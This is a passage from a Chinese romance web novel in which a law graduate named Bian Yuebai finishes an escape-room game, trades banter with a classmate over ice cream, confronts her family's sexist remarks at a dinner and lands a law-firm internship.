这一part设计了只是为了再分组,一组“施暴者”,一组“受害者”。一般进入的人都会有商有量,有的时候还能碰见相互推脱,或是都想争着替对方去惩罚室以此升温感情。
就这么感人的一part,愣是被这两人玩成了自相残杀。
CC都要怀疑他们的设计是不是有bug,转而去看另外两个画面。其中有女生的那间房,她对面的男生直接给自己扣上了,还有两个男生的猜拳之后供出一个。
CC摸着下巴想:这才对嘛。
最后神色复杂的将目光投向还举着手的两个人,莫名其妙就这么跟两束清澈的眼神隔着屏幕对上。CC无奈一笑,终于知道同事破防的心情了。
好了吧,叫你们玩。
你俩锁着吧,钥匙我吞了哈哈。
那是不可能的,CC在语音频道里呼叫大美去送钥匙。
彼时端着泡面已经开始中场休息的大美,气愤地将手里的泡面桶往桌上一砸,然后柔着声应和,“诶诶好嘞,一号房是吗。”
“嗯嗯好呢,现在就去,让他们等我两分钟。”那狗腿样惹得小美多看了眼。
两分钟后,大美一脸怨气地出现在一号房门口,无视掉符瑾和纪哥惊得又或是吓得能赛下一个蛋的嘴巴,随手按了个机关,门在她面前打开。
走进去没几分钟又走了出来,哪怕是捂着脸都掩饰不住她上扬的嘴角弧度,大美脸上的血迹还没处理说实话这样有点吓人。
符瑾和纪哥对视一眼,满脸疑惑。
大美却只是冲他们挥了挥手,“再等一下,里面马上就能分出胜负了。”
符瑾:“啊?”
纪哥:“他俩干啥?雌雄争霸啊?”
大美也不讲明白,笑嘻嘻地踩着小碎步飘走了。
符瑾歪头,还是觉得莫名其妙,“不是,她这一副磕到了是要怎样?”
纪哥不语,只是一味等待。
-
五分钟后,边月白从一号门走出来。
见人一出来,符瑾迫不及待地问:“你俩在里面干什么啊,怎么工作人员都来了。”
边月白揉了揉发酸的手腕,面无表情地回:“我俩?在里面干架。”
符瑾问:“你赢了?”
边月白提了下嘴角:“当然。”
纪哥默认为是柯弋作为男士礼貌谦让了。
只听边月白磨了两下牙,“我们俩刚刚不小心锁一块了,工作人员过来把锁一开,然后我瞅准时机把他压在地上锁了。”
说完,她留了点时间给他们消化,才反问:“怎么样厉害吧?”
纪哥瞳孔地震,“还真打起来了?”
“我去,女中豪杰。”符瑾拍手。
边月白不屑:“你以为我们过家家啊。”
纪哥:“......”
手里对讲机响起一阵杂音,传来一个疑似失去所有手段和力气的声音。
“好了,别说了,赶紧走进度吧兄弟们。
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”
-
在接下来的二十分钟,他们这三个从房间里走出来的胜利者遭到了冤魂们的“报复”,堪称真人版大逃杀。火烧屁.股似的被追着在场内转圈,最后在走廊墙壁上泛着荧光的特殊符号里找到通关密码。
这才大汗淋漓的从出口逃蹿出。
“可以啊纪哥,动态视力不错嘛。”符瑾气喘吁吁地说。
纪哥腼腆一笑,“那还是得靠你俩解题,不过你们真是第一次玩吗,玩得挺好啊。”
“那说明我们很有实力啊。”符瑾朝边月白俏皮眨眼。
边月白喘不上气来,摇头示意她。
此时好久不见的工作人员出现,带他们去复盘,“走吧,你们队友在几分钟前已经出来了。在那边等你们了。”
两队人在专门复盘的茶室相遇,对面三人倒是干爽,他们三人浑身是跑出来的汗。
“你们怎么出来的?”纪哥一屁.股坐下,抄起小程的杯子就是往嘴里罐。
小程看上去颇有怨言,“我们三个啊,在一间房间里就这么被锁着找了好久的线索才打开手里的手铐。”
“大概就是被害者自我救赎这样吧,打开手铐之后门就开了。”邵杜猜想道,“就是找线索的时候有点不方便。”
符瑾无情地戳破他,“那还不是你自己非要背着手给自己锁上,他们肯定都锁前面啊。”
邵杜委屈瘪嘴:“警匪片看多了,下意识觉得要扣成那样。”
CC清咳了两下,开始主持全局,“好了好了,都在了对吧。那我们现在开始复盘。大家好,叫我CC就好了。在开始之前有没有想问我的?我先回答问题再回放录像跟大家一起复盘。”
录像!!
边月白猛然转头,死死盯着他手里的笔电,几秒过后发现也只能苦涩一笑。
这么一说,想跟着复盘的心思淡了不少,那不是复盘,那是她的黑历史重现。
边月白抿着唇移开视线,却无意跟对面的柯弋对上。
对方气定神闲地双手抱肘跟她对视了好会儿,随后先一步收回视线。同时抬起了手,好巧不巧碰到脖子上的伤口,“嘶”了一声,漂亮的眉头轻拢。
停顿几秒,他的手继续往上抬,掀开一直压在头顶的渔夫帽,揉了两把头发,再戴上。
最后抬指勾掉一侧的口罩,遮了那么久的半张脸就这么露了出来——线条流畅的下巴,微微翘起的嘴角,含着散漫不羁的笑意。
没有见光死,特别好看。
相比他的长相,脑子里按捺已久的念头再次催着边月白开口。于是她眼神里闪烁着柯弋看不懂的复杂情绪,为难得仿若经过了天人交战。
最后下定决心,边月白微微俯身凑近,唇齿轻启,朝他做了个口型。
——可以问问,你冰激凌在哪买的吗?
见他脸色一僵,她又反思自己是不是说得不清楚,又咬字强调。
——草、莓、味、冰、激、凌!
而后,边月白眼睁睁看着对方的脸色以肉眼可见的速度沉了下来,端正直身坐好,似笑非笑地将口罩戴上,对她的话更是充耳不闻。
边月白心虚地摸摸鼻子。
刚刚下手是有点没轻没重,但她也及时道歉了呀。
一场复盘下来,他连个眼神也没给她,这口罩跟封条似的,戴上就再没说一句话。
结束散场,人离开有一会儿。
边月白才想起来要给他创可贴,忙追出去喊住他。当然,情急之下她喊了声“喂”,这称呼是有点不礼貌。
他黑黑沉沉的眸子盯得人发虚,边月白故作淡定地递过去,再次好脾气地道了声歉。
一时间,空气就这样僵持着。
“谢谢。”他语调平稳,抬手捏住创可贴一角抽走。
眼见人态度总算松动些,也愿意沟通了,边月白莞尔一笑,“对了,那个冰——”
柯弋盯着她的目光犹如实质,干净利落地撕开包装纸,往脖子上“啪”地一贴,清脆声响直接堵住边月白未说的话。
尽管被打断,边月白想起她在密室的强势行为,觉得他这脾气来得也不是没有缘由。秉持着友好为上的原则,她又碰巧扫到他脖子上和伤口完美错开的创可贴,张了张嘴想提醒他。
还没来得及出声,就听见他不急不徐地开口:“嗯,这个只能抵你把我脖子挠开这事儿。”
柯弋忽地往她这边倾了些,双眸微眯,“想知道更多的?”
“没门。”
话落,他也恢复了方才的站姿,一副风轻云淡占据上风的模样。
关心的话卡在喉咙,边月白神色稍楞,将原本的话咽了下去,平静道:“不,我只想说菜就多练。”
对着他笑意全无的眼眸,又推心置腹地补了句,“还有,男孩子别那么小心眼,会找不到女朋友的。”
“......”
10. Allergy 10
转眼就到了周三面试当天。
边月白穿着周末特意去商场买得黑色西装套装,偏休闲款,衬衫加西装裙,披着外套。
面试还算顺利,不仅通过了还约了周六的笔试。可能因为边月白在此之前还有两段法院实习经历,履历上还算过得去。也被询问了对未来的规划,边月白坦然表示自己还要二战考研。这样方便带教分配任务。
问了一系列问题之后,总体不难看出整个团队氛围很好。先前对这件律所有所了解,团队案件质量较高,说不定能学到不少东西。
她不准备留用也不准备挂牌,只是在空档期找一个短期实习来丰富一下履历,做个过渡。
一出写字楼边月白就收到符瑾慰问的消息,她找工作的事情室友也都知道。
符瑾:【还顺利吗?】
边月白:【可以的,约了笔试时间。】
符瑾秒回:【决定好了?不再考虑一下其他律所?】
边月白思索了会儿才回:【先把这个笔试过了,在签实习合同前有更好的我就跑路。】
符瑾:【可以的[抱拳][抱拳]】
边回复边走到公交站台前,看座位上坐满人,边月白举着手机站一旁。
这段时间天气好得过分,一旦出太阳,到了中午能热得人心烦气躁。
边月白头顶没有一丝遮挡,就这么站在太阳底下被晒得发懵。她抬手挡住刺眼的光,眯着眼低头看手机聊天框,符瑾来约饭了。
符瑾:【等会一起吃午饭吗?今天食堂麻辣香锅第二份半价。】
边月白:【可以啊!】
符瑾:【就知道你会喜欢,出地铁了给我发消息。食堂见。】
跟朋友约定好中饭吃什么就感觉特别有盼头,一个小时公交转地铁的路程也没那么枯燥了。
这时一辆公交停在前面,在身上落下一片阴影,边月白抬头看了眼,收起手机跟随人流上车。
还不到四月份,就算今天有些热,公交车里也断然不会开空调。此刻正值中午小高峰,望去车厢里都是人头,被挤在人群里又闷又热。
边月白有些口干,特别想吃点冰的东西降温。但当下只能旋开面试时发的矿泉水,趁着停车的空当喝两口。
公交车晃晃悠悠地向前行驶,边月白抓着扶手稳住身形。
忽然,邮件提示音接连响了两下。
点开一看,竟是之前投递的两家律所发来的回信,通知她明后两天可以去面试。
正琢磨着时间安排,余光瞥见前方有人起身下车,她眼疾手快地在那位置坐下。这才腾出手来,飞快地回了邮件。
又过了半个多小时才出地铁站,边月白跟符瑾发了个消息说是先去自习室放个包,然后去食堂找她。
符瑾:【我在食堂了,你别急慢慢来。】
符瑾:【那我先点上,这样等你来了正好可以直接开饭。】
即使这么说,边月白还是怕她等,快步走上二楼直奔自习室。
鞋底与地面撞出沉闷的声响,在安静的空间里尤为清晰。
走廊尽头,隐约可见一个身影懒懒地倚在门边。柯弋微微低着头,指尖灵巧地撕开甜筒的包装纸,动作不紧不慢,手边的塑料袋随着他的动作微微晃动。
透过半透明的包装,能看见里面还静静躺着两个未拆封的冰淇淋。
他似是察觉到她的到来,抬眸瞧了她一眼,眼神在暖黄的灯光下带着几分散漫的慵懒。
楼道的灯光昏黄而黯淡,将两人影子拉得长长的。
边月白没空关心他怎么又在这,反正跟自己也没什么干系,轻扯了下嘴角算作跟他打了招呼。随后脚步匆匆的从他面前走过。
推开门,走到座位边上,随手将包放下,刚要离去又想到符瑾有鼻炎,返回拿走包里的纸巾。
转身推开门,门轴发出一声细微的“吱呀”声,边月白不由得朝左偏头瞄了眼。
门外,那道身影依旧静静地立在那里,一言不发,像是就没打算离开。甜筒包装纸总算被撕开,他低头,慢悠悠地咬下第一口,手里冰淇淋还冒着冷气。
听到开门声,他撩眼朝她看了一眼,只是随意一瞥,目光重新落回手中的甜筒。
就在边月白走过他面前的时候,他倏然开口叫住她。
“好久不见,边同学。”
边月白脚步顿住,不知道他这时候要做什么,因为在她看来该说的话昨天应该都说的明白。
还在生气?
那她能怎么办,总不可能为了他的清白以死泄愤吧。实在不行,那就把她挂学校论坛上避雷吧,反正马上也快毕业了。
社死一次是社死,多一次也无所谓了。
这么想着,边月白神色自若地转身迎上他目光,“有何贵干呀,柯同学?”
“关心下同学呀。”柯弋学着她语气说。
边月白面上闪过一丝狐疑,她看她的室友们都很忙啊,难不成他们专业不仅好上岸复试还没那么激烈吗?
怎么三天两头能在这碰见他,这么黏他这个朋友啊。
边月白迟疑一瞬,没忍住问出了口:“你不用准备复试?这么闲的?”
柯弋不答反问:“那你呢?”
这话一出,边月白就跟踩到尾巴似的,一脸警觉,“我怎么了?”
“最近很忙?”
分明不是在探问,但边月白心里就是有些说不出的不舒服。她将这种感觉归咎于受刺激后的过度敏感,不太愿意跟人提及这个话题,尤其是柯弋。
她想守护好自己极度脆弱的自尊心。
“不关你事吧柯同学。”边月白皮笑肉不笑地说,随即笑意一收,眼神微冷,“你想干什么?”
“我干什么?”柯弋的嘴角呷着似有若无的笑,“我又不吃你,这么凶的。”
就当边月白觉得这话题毫无营养也没必要继续下去,即将转身离去之时,却不料面前出现一支甜筒。
草莓味的。
柯弋胳膊肘一撑墙壁,顺势起身,还晃了晃手里的甜筒引诱她,“吃不吃?”
无事献殷勤非奸即盗。
边月白绕过他的手,朝后面丢了句话,“不吃。”
“别啊,今天有活动买二送一,我们吃不完的,等会就化了。还多一个,边同学赏个脸?”
他声音听起来不仅有点委屈,还带了点撒娇的意味。
这边月白可有点听不下去,表情古怪地旋过身打量他好一会儿,才道:“你那么大高个,你别告诉我两个吃不完?”
“好吧。”柯弋换了副面孔
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,坦诚道,“想着你也在这,买的时候算上了你那份。我还以为都认识这么久了也算是朋友了,请个冰激凌还是可以的。”
他顿了顿,似乎有点受伤,“原来你不这么认为吗?”
边月白被他这一番“控诉”说得心里轻轻咯噔一下,在内心谴责自己两句后,保持着镇定自若的样子开口:“怎么会呢。”
这次没犹豫,接过他手里的草莓甜筒,向前走了两步回头,“那谢谢柯同学的好意啦,我先去吃饭了。”
柯弋又漫不经心地靠回墙边,目送她的背影一点点远去。
直到她的身影彻底消失在走廊拐角,他才慢悠悠地收回目光,花了几分钟消灭掉手里半化的冰激凌。
草莓味道瞬间在舌尖化开,冰凉之外还甜丝丝的。
-
边月白在食堂找到符瑾的时候,两盆满满当当的麻辣香锅已然摆放在桌面上,而符瑾隔着老远就在挥手吸引她注意力。
“在这!”
边月白走过去,在她对面一坐下,就递来一双筷子。
“谢谢。”边月白接过,单手掰开一次性筷子后搭在碗沿,“你先吃,我给学姐回个消息。”
“行,那我先吃了,好香好香。”符瑾迫不及待挑开上面被浸泡到半透明的泡面,又给自己夹了一筷子豆皮。
边月白边打字感谢,边小口小口咬着甜筒底,甜甜的巧克力在口腔中化开,好吃得眼睛都要眯起。
这边符瑾也吃得面露幸福,但被辣得斯哈斯哈,很辣但也很爽。
看见边月白手里的半个冰激凌,也有点想喝点冰饮,符瑾打开手机小程序点单,随口问了句:“怎么要吃饭了还买冰激凌吃?”
“柯弋给的。”边月白随口回。
符瑾声音陡然拔高,“柯弋??为什么突然请你吃冰激凌?”
边月白啃完甜筒后将包装纸揉成一团放在手边,手机塞回兜里,拿起筷子开始吃饭,不假思索道:“不知道。”
符瑾用只有自己能听见的声音喃喃:“霏霏不会真说准了吧?”
边月白耳朵尖,抓住她问:“霏霏说什么?”
符瑾磕巴了下,放下筷子语气严肃:“他不会真喜欢你吧。”
“噗——咳咳咳!”
那一刻,边月白也不知道是被这句话吓到还是被香锅里的辣椒面呛到,也可能二者都有。
咳得满脸涨红,眼泪水都挤了出来。边月白抽出口袋里的纸巾擦了擦,还不忘分两张给符瑾,同时指正她:“你不该有这么危险的想法。”
符瑾抬手示意她冷静,打算就此揭过,“好好好,我们先吃饭。”
可边月白不打算就这么算了,拉着她硬是要解释给她听,“他请我吃冰激凌只是因为我们是朋友,是曾经的战友、考研搭子,OK?”
“我知道你很急但是你先别急。”符瑾安抚她,“你之前不是还说跟保温杯哥零交流只有考研人默契的心心相惜吗?”
边月白锤了下桌子,心痛不已,“你这是在怀疑我们纯粹的战友情。”
符瑾猛地抬头,像是听到什么很好笑的话,“噢,小嘴都亲了,腹肌也摸了。”
停顿两秒,不吝赐教,“你们城里人管这叫纯粹?”
边月白:“......”
11. Allergy 11
隔天,完成最后一场面试之后收到妈妈的消息,让她空了赶紧回一下家人群里的消息。
边月白先回了妈妈的消息,随后点开99+未读消息名为[相亲相爱一家人]的群。
粗略看了眼,总的来说就是表姐过两天要出差把孩子放二老这帮忙照顾几天。正巧表妹前两天也从学校回来,晚上大姨带表妹来,再加上边月白他们一家子,大家一起吃个便饭。
边月白在群里回了个【马上过来】,切到地图去查下怎么去更方便。还好有公交直达,不需要她转来转去心情好了不少,于是坐在站台上等了几分钟就上了车。
下午三点多,人流量少,停靠次数也变少。一晃半个小时过去,到幸福小区门口,想到小侄女在就先去了趟门口的超市挑了点玩具和小孩子能吃的零食。
边月白拎着一大包东西敲开门的时候,家里热闹极了。
“妈!舟舟特地说了芽芽的碗具要热水烫过才能用的,哎呀你这样被她知道是要被她烦死的。”大姨站在客厅大着嗓门。
“你一个做妈的被自己孩子管啊,真是笑掉大牙。”奶奶哼了声,手里喂食的动作不停。
“好了,你不说她不说,舟舟能知道吗?”爷爷眉头挤成川字,喝止住两人要吵起来的矛头。
门是表妹开的,她回头看了眼,鼻腔泄出略带嘲讽的笑音。
“怎么样,咱家精彩吧。”
“边悦,还有多的鞋吗?”边月白站在门口轻声问。
边悦顿了下,“有,你等下。我妈刚刚把拖鞋拿出去晒了。”
她小跑去阳台拿来一双大红色女士拖鞋放在边月白脚边,“来。”
家里人这才看见她来了。
“大姨看看,月白是不是又瘦了?”
“怎么没跟你爸妈一起过来?”爷爷背着手问。
“哎呀,我们另一个乖宝来了呀。”奶奶拍拍芽芽的背,“芽芽叫小姨呀,这么久不见了连小姨长什么样都忘了?”
独属于小孩子的软糯嗓音响起,“小姨~”
“我爸妈还没下班,等会一起过来。”边月白先跟爷爷解释了句,只听他冷哼了声,没再说什么渡步到客厅去摆弄他那些绿植。
不过须臾又响起他略带不满的声音。
“不就开了家小公司,搞得别人不知道还以为开了什么跨国大公司,一年到头就见不到人。他老子见他一面都难......”
边月白望过去爷爷脸色沉沉的,不由得叹了口气。她爸跟她爷爷真是一个模子里刻出来的,都不会好好说话。
不管那么多,边月白穿着大了好几码的拖鞋走近,摸了摸侄女的头,拎起袋子露出里面的玩具和零食,“小姨给芽芽带了好吃的好玩的,芽芽该怎么办?”
芽芽眼睛亮了下,躲开了奶奶手里的勺子,撑着圆滚滚的身体在边月白脸上亲了下,还发出特别响亮的一声“啵”。
“算了,不吃了不吃了。你下去跟小姨们玩去吧。”奶奶解下她胸口的围兜,将她从儿童座椅里抱出放在地上,拍了拍她屁股,“去去去。”
而后自顾收拾东西去了。
芽芽怯生生偷瞄一眼边月白,然后伸出小手牵住她,又见小姨没有不开心,边扯着她往房里走,边咧开笑说:“小姨我们玩医生游戏好不好呀?”
大姨想起什么似的朝着边月白招手:“月白来,让边悦陪她玩。我跟你说我们社区单位新来了好几个帅小伙,我给你看看照片。”
“我不要。”边悦举了举手机,屏幕上是游戏界面,“我游戏开始了。”
一个拖鞋咻一下飞了出去,边悦靠着肌肉记忆帮助她躲过,闪进了房间。
背后是她妈怒气汹汹的声音,“死丫头!给你找对象么跟要杀了你一样,你自己不要过好日子那帮帮你堂姐啊。”
眼见这火要烧到自己这,边月白被吓得一个激灵,抱起芽芽往房间里冲。
“哎没事没事,我不着急。大姨我先陪芽芽去玩了啊。”
身后传来大姨扯着嗓子叫她。
“别走啊,看一下很快的,别人我都不介绍的,看你是自家人啊......”
-
房间是侧卧,平常很少住人。
地上放着一堆玩具,墙边靠着辆平衡车,还有大大小小三个妈咪包,都是芽芽的东西。
边月白坐在床上等了会儿,就看见她侄女套了个白大褂,带着护士帽,脖子上挂了两个听诊器,还给自己口袋那别了只笔。
芽芽动作笨拙地推出个玩具模型,跟她人差不多高,上面大剌剌四个字看得边月白当场没绷住,笑喷了。
——三假医院
对上侄女不解的眼神,边月白觉得自己该有大人的样子,于是乎板着一张严肃的脸,煞有介事地扶着额头说:“芽芽,小姨今天头晕啊,怎么办要不要打针啊。”
芽芽身上带着一堆东西,圆滚滚的,一边走路还一边掉,拿出听诊器摁在边月白胸上听了好一会,才说:“小姨感冒了要打针哦,芽芽给你打针。”
这会儿边月白也没那么想笑了,要进入小孩子的世界就不能用成年人的眼光去看待。
她伸手过去装作很害怕下一秒就要抽回的样子,“来吧芽芽,小姨不怕疼。”
芽芽小手捧大手,吹了两口气,用稚嫩的声音说:“不疼不疼。”
随后拿起针管开始完成“打针”。
边悦端着奶茶推门进来,递给她一杯,往边月白身侧一坐,床随之陷下。
“你对小孩是真有耐心。”
“还行吧,看乖不乖。”边月白垂着眼,眼里对人类幼崽的宠溺都要溢出,“对了,这‘三假医院’谁给她买的?堂姐?”
边悦压着嘴角不敢笑出来,“哪能啊,咱奶买得时候被人忽悠了。她又不识字,就这么买了呗。”
手上比了个“5”,边悦痛心疾首摇摇头,“五百多啊这一套,小孩子东西真贵。”
“我妈还想让我去相亲,一想到养小孩这么费钱真的想一辈子都不结婚。”
芽芽顿住,露出水汪汪一双眼。
边月白用肩膀碰碰她,小声提醒,“别说了,芽芽听得懂。”
边悦脸一变,摸着芽芽违心道:“芽芽最乖了,要是小姨以后有芽芽这样的闺女,那小姨原地结婚!”
芽芽一哄就好,羞涩地揉揉脸。
“你要跟谁结婚?”
门外传来大姨尖锐地嘲讽声,说话跟倒豆子似的。
“叫你去相亲你不去......还原地结婚。你想得倒是美啊。"
边悦闭嘴,做鬼脸模仿她妈说话。
“怎么不直接做梦多个儿子女儿的,啊?”
“我也想啊,这样就不用生孩子了。”边悦小声嘀咕,“最好也不用我养。”
边月白弹了她个脑瓜崩,“好啦,别贫了。”
-
期间边月白上了个厕所,甩着水回房的时候无意听见厨房里的动静。
“不过你也不能总是拿两个孩子跟她们哥哥比,毕竟是女孩子脑子总是没有男孩子那么活络的。”大姨压着声音。
随后响起奶奶埋怨的声音。
“都说当年让老三找个学历高点的,他好歹也是个大学生,非要找个中专都没毕业的销售员。你看看,生下的这个不就跟人差一大截吗?”
“那不好这么说的。”大姨打断她,“要被月白听到要生气的。”
大姨似想起什么,接着说:“不过女孩子读那么高干什么,研究生毕业了都要变老姑娘了,到时候对象都难找。你们可劝着点,别再读博了,现在那些男生一看到你博士生都说搞不定啊,相亲都不愿意的。”
......
边月白没继续听下去,光是这短短几分钟,就让她的心跌入谷底。
-
晚上六点,她爸妈一来,一大家子在餐桌前坐下开饭,除了芽芽不在。
小孩子精力有限,玩了一下午撑不住在房间里睡着了。
桌上六菜一汤,三荤三素,都是家常菜。
饭桌上都是长辈在聊天,话题在爸爸妈妈和大姨身上过了一圈之后就到她们两个小辈身上。
奶奶:“悦悦是打算直接工作了?”
边悦没想到是先拿自己开刷,咽下饭菜之后回:“对,已经找到工作了。”
奶奶追问:“不考个研吗?”
大姨皱着眉数落人,“嗐,她这脑子哪比得上她哥哥的,又是读研又是读博的。她不行的,她要是能找个工作嫁个好人,就已经很不错了。”
大姨提到的哥哥是二舅的儿子。边月白跟边悦同岁,那个哥哥大他俩四岁,特别会读书,一路硕博上去,还有好几篇SCI傍身,没什么意外博士毕业了就能去高校当讲师。
人生一片坦荡。
这个哥哥简直是一座大山压在她们姐妹俩身上,从小被比较到大。边月白是靠着努力上的名校,但这个哥哥真的是又有天赋又努力那种人。
真是人比人气死人啊。
奶奶
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:“那月白呢?”
边月白呼吸一滞,看了眼妈妈,见她没什么表示,回答:“找了个实习,之后再考研。”
“好啊,我们边家的孩子都是聪明孩子,奶奶相信你一定能考上的。要是有什么不懂就跟你哥哥取取经,他肯定有经验的。”奶奶喜笑颜开,给她碗里夹了个鸡腿,“来个大鸡腿,我们大学生要补补脑子。”
边月白清晰地捕捉到边悦翻了个大大的白眼,她在桌下轻轻踢了踢边悦。
边悦收敛不少,埋头一声不吭吃饭,随她们讲去。她碗里也突然多了个鸡腿,扒饭的手顿了下,咬咬唇继续吃饭。
边月白看着奶奶做主将一只鸡分了。爸爸和大姨一人一个翅,爷爷碗里是他爱吃的带骨鸡胸肉,妈妈碗里是一段鸡脖子和两块不知道什么部位的肉。
沉默片刻后,边月白把鸡腿夹给妈妈,在她错愕的表情下夹走那根鸡脖,默不作声啃起来。
奶奶嗔怪她,“哎呀,你妈妈就喜欢吃鸡脖子,这么大了怎么还抢你妈碗里的东西。”
边月白没看她脸色,语气里带着一种麻木的冷漠,“她不喜欢吃鸡脖,我喜欢吃。”
奶奶笑容僵在脸上,有种被晚辈下了面子的难堪。
饭桌上一时无话,连一项聒噪的大姨这时候都保持沉默,眼珠滴溜溜地转。爸爸和爷爷脸色也不是很好,只有妈妈抬头扫了圈,莞尔一笑,一副毫无所知的样子,“都看什么呢,吃饭啊。”
说着那个鸡腿又到了边月白碗里。
边月白盯着那个油腻腻的鸡腿思绪乱飘。一想起刚刚听到的那番话,就控制不住心里的火气。
想想还是气不过,边月白放下碗筷,干脆把话撂在明面上,“我是姓边,但我也是妈妈的女儿,我关心我妈怎么了?”
“还有奶奶,我考研失利是我的问题。”边月白蓄意拱火,言语更是犀利,“我本科是A大,比我爸可强多了。”
边月白点着头,承认:“对,我是没有哥哥那么有天赋,但我也不差。”
“边月白。”
妈妈拖着嗓音警告她,意思很明显,你差不多了再说就过分了。
边月白瞥了眼,收起那副架势。
边悦想给她比个大拇指,硬是被大姨按下了,恶狠狠瞪了她一眼,让她别多管闲事。
这时一直缄口不言的爷爷和爸爸听了她这么一番大逆不道的话简直怒不可遏。
前者一拍桌子,脸上的褶皱更深了几分,厉声道:“跟你奶奶道歉!”
后者指着她鼻子的手都气得发颤,呵斥道:“说什么呢,怎么跟长辈说话的!我跟你妈就是这么教你的?”
奶奶惯会打圆场,准备装聋作哑到底,拍了下爷爷的手臂,“你看看你们两个,跟孩子计较什么,没事的没事的,先吃饭。”
妈妈停了筷,陶瓷碗往木桌上一敲,发出一声闷响,锐利的眼神对上面前两个男人,不急不缓开口:“她对长辈不恭敬是我没教好,但是——”
她视线抓住奶奶飘忽不定的目光,冷笑一声,“妈,能解释一下月白说的什么意思吗?我的孩子我清楚,她不会无缘无故这样。”
边月白鼻子一酸,自诩雄鹰般的女人差点当场落泪。
“你们不待见我就算了,我是外人我能忍,但这是你孙女。”妈妈抽了张纸巾擦手,然后团成团丢在桌面上。
爸爸察觉到妈妈要走赶忙拉住她的手,他此刻额角青筋抽动,压着微不可察的怒意,“差不多得了,别搞得太难看。”
妈妈失望地看着他,站起身,冷漠无情地问她。
“边月白,走不走。”
闻言,边月白丝毫没犹豫,拎上包走过餐桌的时候忽略掉一众复杂视线,杂糅着吃惊、震怒、失望、怀疑。
这些都不重要了,重要的是她终于有勇气说出这番话,哪怕只是冲动使然。
-
跟着妈妈下楼梯时,感应灯没能及时亮起,妈妈不知道为什么停了脚步,整个人都隐没在黑暗里。片刻后,一道轻柔却带着鼻音的声音响起。
“吃饱了吗?”
她转过身的瞬间,下一个层的灯光被触发,亮起。
明黄色的光线洒落,映照出她带着倦意的脸庞,眼角细密的皱纹堆叠。几根银白的发丝藏在乌黑头发里,却在灯光下泛着银光。
边月白喉间一哽,这时候特别想哭。
即使她,真的怪过妈妈。
总是觉得她不懂自己,总是替她做决定,总是推着她往前跑。
12. Allergy 12
“今晚你回宿舍。”
妈妈手上把着方向盘,认真看着路况。
打过这个弯后,面前的路开始变得熟悉,妈妈随口问:“刚刚你说找了实习?”
“嗯,还没定下来。”
“那你能忙得过来吗?”
“可以的,实在忙不过来就辞职。”
在等红灯,妈妈胳膊肘撑在车门上,揉了揉太阳穴,单手扶着方向盘教育她:“遇到事情找解决方法不要逃避,如果这点压力都承受不住,那未来进入社会吃的苦多了去了。你要是一遇到事情就想着辞职,爸爸妈妈还能养你多久?”
那只是她对着家人放松下来的随口一说,并没有那个意思。边月白脸上有些挂不住,忍不住出声呛她,“那你想让我怎么回答?”
原以为两人就这样不欢而散,临走时还是被妈妈喊住:“你去实习有没有像样的衣服,要不要转点钱给你多买两套衣服?”
果然,人还是会为了五斗米折腰。
听到“钱”这个字眼,边月白瞬间原地和自己和解了,心头那点憋屈立即烟消云散。边月白朝她妈笑得灿烂,讨好地答道:“缺缺缺!”
妈妈嗔她一眼,嘴上还在念叨,手倒是实诚一发就是好几千,“连下个月生活费一起给你了。”
“谢谢妈妈!”边月白抱着手机狂喜。
“工作了要记得按时吃饭,吃点好的知不知道?”
“好!等我拿了工资给你买礼物!”
她妈内涵她:“得了吧,你那点工资都不够你花的。”
边月白听了也没不开心,站在路边摆手,“嘿嘿,妈妈拜拜,回去发消息。”
“嗯。”
话音落下,车窗关上。
深蓝色的轿车离开校门口,只余下一个穿着单薄的女生理了下被风吹乱的头发,在那站了会儿后转身离去。
-
三家律所面试结束,边月白最后还是选择了学姐介绍的那家精品所。
周六准时参加了笔试,边月白理论基础不错,没什么意外过了。接着又参加一次面试,问清楚具体工作内容和薪资,不卑不亢地回答了一系列问题之后,顺利签下了实习合同。
下周一开始上班。
从会议室出来,穿过工位区。即使是周六,不少人在加班,空位屈指可数,键盘敲击声和低声交谈混在一起,显得忙碌又沉稳。
前台姐姐阿丽一路送她到电梯前,电梯门刚一打开,一个男人急匆匆地从里面蹿了出来。
他穿着运动套装,肩膀上搭着一条毛巾,额角还沁着细密的汗珠,显然是刚运动完。两人险些撞上,对方反应极快地侧身避开,脚步未停,随口说了句:“抱歉,让一下。”
风一样擦肩而过。
阿丽指了指小声告诉她,“这个估计是你带教,姓卢。”
“哦哦谢谢。”边月白下巴轻点,多看了两眼。刚刚他走的太急,那张脸在面前一闪而过,根本来不及捕捉,现在看去也只是一个背影。
阿丽说:“没事,周一见。”
电梯门合上的时候还能听见她未来带教律师在中气十足地咆哮。
“小吴呢?我真是服气了,说了多少遍文书当事人的信息都能填错的?你说他是汉族就是汉族啊?”
边月白听了有些发怵,希望自己未来几个月能安稳度过,千万不要犯低级错误。
电梯门合上,掐断那些劈头盖脸的批评。
-
走出写字楼,边月白手机消息也发出去。
边月白:【家人们,我过啦!下周一开始上班!】
边月白:【晚上一起吃饭吗?】
群里立刻跳出恭喜她的消息,但很可惜除了符瑾其他人这周末都有约。一个跟男朋友去约会,另一个跟朋友约了去搓麻将,反正晚上都赶不回来。
于是推迟,等其他两人复试结束了一起出去搓一顿。
符瑾等不急打了个电话来,“快回来,我陪你庆祝。就去附近那个商场,有家湘菜新开业出了团购,去不去?”
边月白原本因为无处分享还有点情绪低落,这下子眯着眼笑起来,“好呀!”
两人在学校附近商场碰头,先解决喝的。
排队买奶茶的时,两人看着点评软件上两个类似的双人套餐,比对了好久最后选择了套餐中包含辣椒炒肉那个。
按照符瑾话来说:“吃湘菜不吃辣椒炒肉就等于白吃。”
虽然她吃不了辣。
边月白去拿打包好的奶茶,符瑾则负责买券。
两人拎着奶茶走到门口,门口已经排起长队。
符瑾看了眼时间吐槽:“周末十一点都不到啊,就排这么多人了?”
“毕竟新店开业嘛。”边月白拍拍她肩膀,先去拿号。
前面还有四桌,两人捧着奶茶坐在门口小圆凳上等位。
来吃饭的人中大多都是A大学生,还碰到她俩好几个之前部门的同学。校园说大不大说小也不小,兜兜转转大家都认识。等待无聊,打了声招呼后几个女生干脆坐在一块聊天。
话题无非围绕着“你最近怎么样呀?”“你之后直接工作吗?”“欸你看了最近那个电视剧了吗?”这类进行。
边月白有些不自然,有意不想搭话,侧身玩手机装作很忙的样子。
忽然话题跑到其他地方去。
“哎你知道外院那个柯弋吗?”
听到熟悉名字,边月白耳朵动了动,指尖停顿。
符瑾瞥了眼垂着的边月白,眼珠一转,还以为有什么八卦好奇地坐正身体,“什么什么?”
“咱市里这段时间不是在开贸洽会吗,来我们学院请人来做陪同口译。我师姐师兄她们刚好没空,这活落我身上了。我们那天去现场碰到了他,他是作为家属到场参观的。”
